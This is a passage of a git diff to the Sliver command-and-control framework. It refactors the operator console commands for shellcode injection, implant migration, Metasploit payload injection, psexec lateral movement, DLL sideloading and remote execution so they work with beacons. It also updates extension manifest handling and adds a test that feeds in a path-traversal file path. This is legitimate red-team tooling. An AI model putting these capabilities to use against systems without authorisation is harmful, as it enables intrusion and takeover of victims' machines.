@@ -121,7 +145,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
 	con.SpinUntil(msg, ctrl)
 	_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
-		Request:  con.ActiveSession.Request(ctx),
+		Request:  con.ActiveTarget.Request(ctx),
 		Pid:      pid,
 		Data:     shellcode,
 		RWXPages: rwxPages,
@@ -130,7 +154,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 	<-ctrl
 
 	if err != nil {
-		con.PrintErrorf("Error: %v", err)
+		con.PrintErrorf("%s\n", err)
 		return
 	}
 

client/command/exec/execute.go

@@ -22,58 +22,122 @@ import (
 
 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 // ExecuteCmd - Run a command on the remote system
 func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
 	cmdPath := ctx.Args.String("command")
 	args := ctx.Args.StringList("arguments")
-	output := ctx.Flags.Bool("silent")
 	token := ctx.Flags.Bool("token")
+	output := ctx.Flags.Bool("output")
+	stdout := ctx.Flags.String("stdout")
+	stderr := ctx.Flags.String("stderr")
+
+	if output && beacon != nil {
+		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
+	}
+
 	var exec *sliverpb.Execute
 	var err error
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
 	if token {
 		exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
-			Request: con.ActiveSession.Request(ctx),
+			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
-			Output:  !output,
+			Output:  output,
+			Stderr:  stderr,
+			Stdout:  stdout,
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-			Request: con.ActiveSession.Request(ctx),
+			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
-			Output:  !output,
+			Output:  output,
+			Stderr:  stderr,
+			Stdout:  stdout,
 		})
 	}
-
+	ctrl <- true
+	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s", err)
-	} else if !output {
-		if exec.Status != 0 {
-			con.PrintErrorf("Exited with status %d!\n", exec.Status)
-			if exec.Result != "" {
-				con.PrintInfof("Output:\n%s\n", exec.Result)
+		return
+	}
+
+	if exec.Response != nil && exec.Response.Async {
+		con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, exec)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
 			}
+			PrintExecute(exec, ctx, con)
+		})
+		con.PrintAsyncResponse(exec.Response)
+	} else {
+		PrintExecute(exec, ctx, con)
+	}
+}
+
+// PrintExecute - Print the output of an executed command
+func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
+	saveLoot := ctx.Flags.Bool("loot")
+	stdout := ctx.Flags.String("stdout")
+	stderr := ctx.Flags.String("stderr")
+	cmdPath := ctx.Args.String("command")
+	args := ctx.Args.StringList("arguments")
+
+	output := ctx.Flags.Bool("output")
+	if !output {
+		if exec.Status == 0 {
+			con.PrintInfof("Command executed successfully\n")
 		} else {
-			con.PrintInfof("Output:\n%s\n", exec.Result)
-			if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
-				name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
-				err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
-				if err != nil {
-					con.PrintErrorf("Failed to save output as loot: %s\n", err)
-				} else {
-					con.PrintInfof("Output saved as loot\n")
-				}
-			}
+			con.PrintErrorf("Exit code %d\n", exec.Status)
+		}
+		return
+	}
+
+	combined := ""
+	if stdout == "" {
+		combined = string(exec.Stdout)
+		con.PrintInfof("Output:\n%s", combined)
+	} else {
+		con.PrintInfof("Stdout saved at %s\n", stdout)
+	}
+
+	if stderr == "" {
+		if !ignoreStderr && 0 < len(exec.Stderr) {
+			combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
+			con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
+		}
+	} else {
+		con.PrintInfof("Stderr saved at %s\n", stderr)
+	}
+
+	if exec.Status != 0 {
+		con.PrintErrorf("Exited with status %d!\n", exec.Status)
+	}
+	if saveLoot && 0 < len(combined) {
+		name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
+		err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
+		if err != nil {
+			con.PrintErrorf("Failed to save output as loot: %s\n", err)
+		} else {
+			con.PrintInfof("Output saved as loot\n")
 		}
 	}
 }

client/command/exec/migrate.go

@@ -26,7 +26,7 @@ import (
 
 // MigrateCmd - Windows only, inject an implant into another process
 func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
+	session := con.ActiveTarget.GetSession()
 	if session == nil {
 		return
 	}
@@ -38,7 +38,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
 		Pid:     uint32(pid),
 		Config:  config,
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/msf-inject.go

@@ -25,13 +25,15 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // MsfInjectCmd - Inject a metasploit payload into a remote process
 func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -57,8 +59,8 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
 		payloadName, session.OS, session.Arch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
-	_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
-		Request:    con.ActiveSession.Request(ctx),
+	msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
+		Request:    con.ActiveTarget.Request(ctx),
 		Payload:    payloadName,
 		LHost:      lhost,
 		LPort:      uint32(lport),
@@ -70,7 +72,24 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if msfTask.Response != nil && msfTask.Response.Async {
+		con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, msfTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMsfRemote(msfTask, con)
+		})
+		con.PrintAsyncResponse(msfTask.Response)
 	} else {
-		con.PrintInfof("Executed payload on target\n")
+		PrintMsfRemote(msfTask, con)
 	}
 }
+
+func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
+
+}

client/command/exec/msf.go

@@ -31,7 +31,7 @@ import (
 
 // MsfCmd - Inject a metasploit payload into the current remote process
 func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -52,7 +52,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		payloadName, session.OS, session.Arch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
 	_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
-		Request:    con.ActiveSession.Request(ctx),
+		Request:    con.ActiveTarget.Request(ctx),
 		Payload:    payloadName,
 		LHost:      lhost,
 		LPort:      uint32(lport),

client/command/exec/psexec.go

@@ -21,11 +21,12 @@ package exec
 import (
 	"context"
 	"fmt"
-	"math/rand"
+	insecureRand "math/rand"
 	"strings"
 	"time"
 
 	"github.com/bishopfox/sliver/client/command/generate"
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -36,14 +37,14 @@ import (
 
 // PsExecCmd - psexec command implementation.
 func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
 
 	hostname := ctx.Args.String("hostname")
 	if hostname == "" {
-		con.PrintWarnf("you need to provide a target host, see `help psexec` for examples")
+		con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
 		return
 	}
 	profile := ctx.Flags.String("profile")
@@ -53,9 +54,9 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
 
 	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
-		con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
+		con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
 		con.PrintWarnf("You might want to change that before going further...\n")
-		if !con.IsUserAnAdult() {
+		if !settings.IsUserAnAdult(con) {
 			return
 		}
 	}
@@ -96,7 +97,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Encoder: "gzip",
 		Data:    uploadGzip,
 		Path:    filePath,
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	uploadCtrl <- true
 	<-uploadCtrl
@@ -119,7 +120,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
 		BinPath:            binaryPath,
 		Hostname:           hostname,
-		Request:            con.ActiveSession.Request(ctx),
+		Request:            con.ActiveTarget.Request(ctx),
 		ServiceDescription: serviceDesc,
 		ServiceName:        serviceName,
 		Arguments:          "",
@@ -142,7 +143,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Hostname:    hostname,
 			ServiceName: serviceName,
 		},
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	removeChan <- true
 	<-removeChan
@@ -159,10 +160,9 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 func randomString(length int) string {
 	var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
-	var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
 	b := make([]byte, length)
 	for i := range b {
-		b[i] = charset[seededRand.Intn(len(charset))]
+		b[i] = charset[insecureRand.Intn(len(charset))]
 	}
 	return string(b)
 }

client/command/exec/sideload.go

@@ -3,14 +3,17 @@ package exec
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
+
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
+
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
+
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -20,19 +23,20 @@ import (
 	"fmt"
 	"io/ioutil"
 	"os"
-	"path"
 	"path/filepath"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 // SideloadCmd - Sideload a shared library on the remote system
 func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -51,7 +55,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
 	sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-		Request:     con.ActiveSession.Request(ctx),
+		Request:     con.ActiveTarget.Request(ctx),
 		Args:        args,
 		Data:        binData,
 		EntryPoint:  entryPoint,
@@ -66,14 +70,38 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
+	hostname := getHostname(session, beacon)
+	if sideload.Response != nil && sideload.Response.Async {
+		con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, sideload)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSideload(sideload, hostname, ctx, con)
+		})
+		con.PrintAsyncResponse(sideload.Response)
+	} else {
+		PrintSideload(sideload, hostname, ctx, con)
+	}
+}
+
+// PrintSideload - Print the sideload command output
+func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if sideload.GetResponse().GetErr() != "" {
-		con.PrintErrorf("Error: %s\n", sideload.GetResponse().GetErr())
+		con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
 		return
 	}
+
 	var outFilePath *os.File
+	var err error
 	if ctx.Flags.Bool("save") {
-		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
 		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
 	}
 	con.PrintInfof("Output:\n%s", sideload.GetResult())
 	if outFilePath != nil {

client/command/exec/spawndll.go

@@ -5,18 +5,20 @@ import (
 	"fmt"
 	"io/ioutil"
 	"os"
-	"path"
+	"path/filepath"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 // SpawnDllCmd - Spawn execution of a DLL on the remote system
 func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 	dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
@@ -36,24 +38,48 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		ProcessName: processName,
 		Args:        dllArgs,
 		EntryPoint:  exportName,
-		Request:     con.ActiveSession.Request(ctx),
+		Request:     con.ActiveTarget.Request(ctx),
 		Kill:        !ctx.Flags.Bool("keep-alive"),
 	})
-
 	if err != nil {
-		con.PrintErrorf("Error: %s\n", err)
+		con.PrintErrorf("%s\n", err)
 		return
 	}
 	ctrl <- true
 	<-ctrl
+
+	hostname := getHostname(session, beacon)
+	if spawndll.Response != nil && spawndll.Response.Async {
+		con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, spawndll)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSpawnDll(spawndll, hostname, ctx, con)
+		})
+		con.PrintAsyncResponse(spawndll.Response)
+	} else {
+		PrintSpawnDll(spawndll, hostname, ctx, con)
+	}
+}
+
+// PrintSpawnDll - Print the SpawnDll command response
+func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if spawndll.GetResponse().GetErr() != "" {
-		con.PrintErrorf("Error: %s\n", spawndll.GetResponse().GetErr())
+		con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
 		return
 	}
+
 	var outFilePath *os.File
+	var err error
 	if ctx.Flags.Bool("save") {
-		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
 		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
 	}
 	con.PrintInfof("Output:\n%s", spawndll.GetResult())
 	if outFilePath != nil {

client/command/exec/ssh.go

@@ -11,6 +11,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 // SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
@@ -19,7 +20,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		privKey []byte
 		err     error
 	)
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -51,33 +52,49 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}
 
-	commandResp, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
+	sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
 		Username: username,
 		Hostname: hostname,
 		Port:     uint32(port),
 		PrivKey:  privKey,
 		Password: password,
 		Command:  strings.Join(command, " "),
-		Request:  con.ActiveSession.Request(ctx),
+		Request:  con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	if sshCmd.Response != nil && sshCmd.Response.Async {
+		con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, sshCmd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSSHCmd(sshCmd, con)
+		})
+		con.PrintAsyncResponse(sshCmd.Response)
+	} else {
+		PrintSSHCmd(sshCmd, con)
+	}
+}
 
-	if commandResp.Response != nil && commandResp.Response.Err != "" {
-		con.PrintErrorf("Error: %s\n", commandResp.Response.Err)
-		if commandResp.StdErr != "" {
-			con.PrintErrorf("StdErr: %s\n", commandResp.StdErr)
+// PrintSSHCmd - Print the ssh command response
+func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
+	if sshCmd.Response != nil && sshCmd.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
+		if sshCmd.StdErr != "" {
+			con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
 		}
 		return
 	}
-	if commandResp.StdOut != "" {
-		con.PrintInfof("Output:")
-		con.Println(commandResp.StdOut)
-		if commandResp.StdErr != "" {
-			con.PrintInfof("StdErr")
-			con.Println(commandResp.StdErr)
+	if sshCmd.StdOut != "" {
+		con.PrintInfof("Output:\n")
+		con.Println(sshCmd.StdOut)
+		if sshCmd.StdErr != "" {
+			con.PrintInfof("StdErr:\n")
+			con.Println(sshCmd.StdErr)
 		}
 	}
 }

client/command/extensions/README.md

@@ -1,46 +1,51 @@
 Extensions
-====
+===========
 
 Allows to load and execute 3rd party extensions.
 
-Extensions must be loaded from a directory with the following architecture:
+Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
+must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
+parent directories are not allowed. Only files listed in the manifest are copied, any other files will
+be ignored.
 
 ```shell
 /path/to/extension/folder/
-├── manifest.json
+├── extension.json
 └── windows
-    ├── 386
-    │   └── extension.x86.dll
-    └── amd64
-        └── extension.x64.dll
+│    └── extension.x86.dll
+│    └── extension.x64.dll
+└── linux
+│    └── extension.x86.so
+│    └── extension.x64.so
+└── darwin
+     └── extension.x86.dylib
+     └── extension.x64.dylib
 ```
 
-The extension folder structure must follow the `GOOS/GOARCH/` scheme.
-
-Here's an example manifest:
+Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
 
 ```json
-[
 {
     "name": "foo",
+    "version": "1.0.0",
+    "extension_author": "ac1d-burn",
+    "original_author": "zer0-cool",
+    "repo_url": "https://github.com/foo/bar",
     "help": "Help for foo command",
     "entrypoint": "RunFoo",
     "init" :"NimMain",
-    "dependsOn": "bar",
+    "depends_on": "bar",
     "files": [
         {
             "os": "windows",
-            "files":{
-                "x86": "extension.x86.o",
-                "x64": "extension.x64.o",
-            }
+            "arch": "amd64",
+            "path": "extension.x64.o",
         }
     ],
     "arguments": [
         {"name": "pid", "type": "int", "desc": "pid", "optional": false},
     ]
 }
-]
 ```
 
 The structure is the following one:

client/command/extensions/extensions.go

@@ -0,0 +1,121 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/jedib0t/go-pretty/v6/text"
+)
+
+// ExtensionsCmd - List information about installed extensions
+func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	PrintExtensions(con)
+}
+
+// PrintExtensions - Print a list of loaded extensions
+func PrintExtensions(con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Command Name",
+		"Platforms",
+		"Version",
+		"Installed",
+		"Extension Author",
+		"Original Author",
+		"Repository",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
+	tw.SetColumnConfigs([]table.ColumnConfig{
+		{Number: 5, Align: text.AlignCenter},
+	})
+
+	installedManifests := getInstalledManifests()
+	for _, extension := range loadedExtensions {
+		installed := ""
+		if _, ok := installedManifests[extension.CommandName]; ok {
+			installed = "✅"
+		}
+		tw.AppendRow(table.Row{
+			extension.Name,
+			extension.CommandName,
+			strings.Join(extensionPlatforms(extension), ",\n"),
+			extension.Version,
+			installed,
+			extension.ExtensionAuthor,
+			extension.OriginalAuthor,
+			extension.RepoURL,
+		})
+	}
+	con.Println(tw.Render())
+}
+
+func extensionPlatforms(extension *ExtensionManifest) []string {
+	platforms := map[string]string{}
+	for _, entry := range extension.Files {
+		platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
+	}
+	keys := []string{}
+	for key := range platforms {
+		keys = append(keys, key)
+	}
+	return keys
+}
+
+func getInstalledManifests() map[string]*ExtensionManifest {
+	manifestPaths := assets.GetInstalledExtensionManifests()
+	installedManifests := map[string]*ExtensionManifest{}
+	for _, manifestPath := range manifestPaths {
+		data, err := ioutil.ReadFile(manifestPath)
+		if err != nil {
+			continue
+		}
+		manifest := &ExtensionManifest{}
+		err = json.Unmarshal(data, manifest)
+		if err != nil {
+			continue
+		}
+		installedManifests[manifest.CommandName] = manifest
+	}
+	return installedManifests
+}
+
+// ExtensionsCommandNameCompleter - Completer for installed extensions command names
+func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	installedManifests := getInstalledManifests()
+	results := []string{}
+	for _, manifest := range installedManifests {
+		if strings.HasPrefix(manifest.CommandName, prefix) {
+			results = append(results, manifest.CommandName)
+		}
+	}
+	return results
+}

client/command/extensions/extensions_test.go

@@ -0,0 +1,245 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"testing"
+)
+
+const (
+	sample1 = `{
+	"name": "test1",
+	"command_name": "test1",
+	"version": "1.0.0",
+	"extension_author": "test",
+	"original_author": "test",
+	"repo_url": "https://example.com/",
+	"help": "some help",
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "foo/test1.dll"
+		}
+	]
+}`
+
+	sample2 = `{
+	"name": "test2",
+	"command_name": "test2",
+	"help": "some help",
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "../../../../foo/test1.dll"
+		}
+	]
+}`
+)
+
+func TestParseExtensionManifest(t *testing.T) {
+	extManifest, err := ParseExtensionManifest([]byte(sample1))
+	if err != nil {
+		t.Fatalf("Error parsing extension manifest: %s", err)
+	}
+	if extManifest.Name != "test1" {
+		t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
+	}
+	if extManifest.CommandName != "test1" {
+		t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
+	}
+	if extManifest.Version != "1.0.0" {
+		t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
+	}
+	if extManifest.ExtensionAuthor != "test" {
+		t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
+	}
+	if extManifest.OriginalAuthor != "test" {
+		t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
+	}
+	if extManifest.RepoURL != "https://example.com/" {
+		t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
+	}
+	if extManifest.Help != "some help" {
+		t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
+	}
+	if len(extManifest.Files) != 1 {
+		t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
+	}
+	if extManifest.Files[0].OS != "windows" {
+		t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
+	}
+	if extManifest.Files[0].Arch != "amd64" {
+		t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
+	}
+	if extManifest.Files[0].Path != "/foo/test1.dll" {
+		t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
+	}
+
+	extManifest2, err := ParseExtensionManifest([]byte(sample2))
+	if err != nil {
+		t.Fatalf("Error parsing extension manifest (2): %s", err)
+	}
+	if extManifest2.Name != "test2" {
+		t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
+	}
+	if extManifest2.CommandName != "test2" {
+		t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
+	}
+	if extManifest2.Help != "some help" {
+		t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
+	}
+	if len(extManifest2.Files) != 1 {
+		t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
+	}
+	if extManifest2.Files[0].OS != "windows" {
+		t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
+	}
+	if extManifest2.Files[0].Arch != "amd64" {
+		t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
+	}
+	if extManifest2.Files[0].Path != "/foo/test1.dll" {
+		t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
+	}
+}
+
+const (
+	sample3 = `{
+	"name": "test3",
+	"command_name": "test3",
+	"version": "1.0.0",
+	"extension_author": "test",
+	"original_author": "test",
+	"repo_url": "https://example.com/",
+	"help": "some help",
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "foo/test1.dll"
+		}
+	]
+}`
+)
+
+func TestParseExtensionManifestErrors(t *testing.T) {
+	sample3, err := ParseExtensionManifest([]byte(sample3))
+	if err != nil {
+		t.Fatalf("Failed to parse initial sample3: %s", err)
+	}
+
+	missingName := (*sample3)
+	missingName.Name = ""
